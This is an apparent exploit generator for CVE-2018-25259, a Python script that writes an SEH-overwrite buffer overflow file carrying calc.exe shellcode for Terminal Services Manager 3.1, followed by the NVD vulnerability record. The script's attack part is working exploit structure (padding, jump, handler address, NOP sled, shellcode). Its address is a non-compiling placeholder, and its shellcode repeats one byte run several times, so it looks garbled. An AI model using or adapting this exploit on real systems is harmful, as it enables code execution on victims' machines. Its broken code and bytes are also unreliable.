CVE-2018-25259

# PoC Generator for CVE-2018-25259 import struct def create_exploit_file(): # Offset to overwrite SEH handler (hypothetical value for demonstration) offset = 4104 # Address for POP POP RET (to bypass SEH) # Replace 0xXXXXXXXX with a valid address from a non-ASLR module seh_address = struct.pack('<L', 0xXXXXXXXX) # Next SEH: Jump back 6 bytes into the NOP sled next_seh = b'\xEB\x06\x90\x90' # NOP sled for landing stability nop_sled = b'\x90' * 32 # Shellcode: Example to execute calc.exe # msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0a\x0d' -f python shellcode = b"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x33\x83\xea\xfc\x31\x6a\x0f\x03\x6a\xd4\x98\x7f\xe4\x85\xe4\x21\xe6\xaf\x44\xf1\x3e\x52\x71\x09\x13\x88\xbb\xe0\xe2\xe2\xe4\x8d\x24\x2d\x6c\x8f\xa7\x8b\x3c\x05\x6e\x28\xe2\xcd\x78\x65\x28\xe2\xcd\x78\x65\x28\xe2\xcd\x78\x65\x28\xe2\xcd\x78\x65\x28\xe2\xcd\x78\x65\x28\xe2\xcd\x78\x65" # Construct the payload # Junk data + Next SEH + SEH Address + NOPs + Shellcode payload = b'A' * offset + next_seh + seh_address + nop_sled + shellcode # Write payload to file with open('cve_2018_25259_poc.txt', 'wb') as f: f.write(payload) print("[+] Malicious file generated: cve_2018_25259_poc.txt") print("[+] Import this file via the 'Add Computers' wizard to trigger the vulnerability.") if __name__ == "__main__": create_exploit_file()

{"cve": {"id": "CVE-2018-25259", "sourceIdentifier": "[email protected]", "published": "2026-04-22T16:16:45.437", "lastModified": "2026-04-29T23:33:46.737", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Terminal Services Manager 3.1 contains a stack-based buffer overflow vulnerability in the computer names field that allows local attackers to execute arbitrary code by triggering structured exception handling. Attackers can craft a malicious input file with shellcode and jump instructions that overwrite the SEH handler pointer to execute calc.exe or other payloads when imported through the add computers wizard."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lizardsystems:terminal_services_manager:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.1", "matchCriteriaId": "F66677EE-4531-4469-BA22-8B78049C8053"}]}]}], "references": [{"url": "https://lizardsystems.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46058", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/terminal-services-manager-buffer-overflow-seh", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}